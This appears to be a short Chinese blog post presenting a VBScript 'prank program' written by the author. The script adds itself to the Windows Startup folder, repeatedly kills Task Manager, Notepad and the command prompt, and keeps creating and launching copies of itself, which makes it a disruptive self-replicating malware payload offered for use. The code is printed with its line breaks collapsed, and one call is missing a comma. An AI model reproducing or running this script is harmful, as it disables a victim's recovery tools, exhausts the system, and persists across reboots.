VBS恶搞程序

恶搞程序"/>

VBS恶搞程序

看到挺多人用vbs写恶搞程序的，我也写一个吧。

' dim ws, fsoset ws = createobject("wscript.shell")set fso = createobject("scripting.fileSystemObject")fso.copyFile wscript.scriptFullName "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\" '开机自启for i = 0 to 100000000000 step 1 ' 无限循环ws.run("TASKKILL /IM taskmgr.exe"),0 ' 禁止打开任务管理器ws.run("TASKKILL /IM notepad.exe"),0 ' 禁止打开记事本ws.run("TASKKILL /IM cmd.exe"),0 ' 禁止打开命令提示符set another = fso.createTextFile("another" + cstr(i) + ".vbs") ' 新建副本fso.copyFile wscript.scriptFullName,"another" + cstr(i) + ".vbs" ' 复制到副本wscript.sleep(800) ' 暂停800毫秒ws.run("another" + cstr(i) + ".vbs") ' 运行副本msgbox "哈哈哈"next

这个一般人弄不好的，慎用！